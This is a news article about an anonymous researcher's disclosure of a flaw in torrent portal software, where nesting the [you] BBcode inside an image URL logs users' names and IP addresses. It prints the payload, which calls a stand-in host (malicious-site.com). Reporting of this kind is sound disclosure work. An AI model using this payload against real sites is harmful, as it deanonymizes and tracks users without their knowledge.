Vulnerability in Torrent Portal Software Exposes User Private Information

An anonymous security researcher is sounding the alarm on a security flaw in popular torrent portal software that can be leveraged to expose details about a site's users.

In terms of piracy and torrent-related news, the TorrentFreak blog is the place you'd want to check out on a daily basis. Taking advantage of the blog's huge following, a security researcher who did not want to disclose his name contacted the site and revealed details about an exploit he had recently discovered.

The problem lies in a software package used by torrent site administrators to set up their portals. The researcher declined to name the software package since the flaw was not yet patched.

Vulnerability can be exploited via BBcode

This software comes with support for BBcode (Bulletin Board Code), a system that replaces certain text patterns with text, images, or other types of dynamic information.

According to the researcher, there's a flaw in one of the built-in BBcodes packed with that particular software package. The BBCode is [you], which, when used, prints the user's name.

The researcher discovered that, by nesting the [you] BBcode inside an image URL, he could log details about a site's users. The way to do it is the following: [IMG]http://malicious-site.com/logger/[you].png[/IMG].

This combination shows a 1x1 px transparent PNG image, loaded from the attacker's malicious website.

Attackers can log IPs, location, user agent strings

The researcher explained that an attacker, or a law enforcement agency, could register on torrent portals, open forum threads or send a private message to the users it wants to target.

When the user accesses the thread or private message, the BBcode is automatically executed, loading the image, and recording the user's IP address on the attacker's server without the user even noticing there was an image on the page.

Users who don't use VPN or proxies to access torrent sites can be logged via this technique and later identified in logs, tying their real IP address to piracy-related activities.

As of now, the researcher told TorrentFreak that one of the affected sites is SceneAccess, a private torrent portal.

Format of the malicious [you] BBcode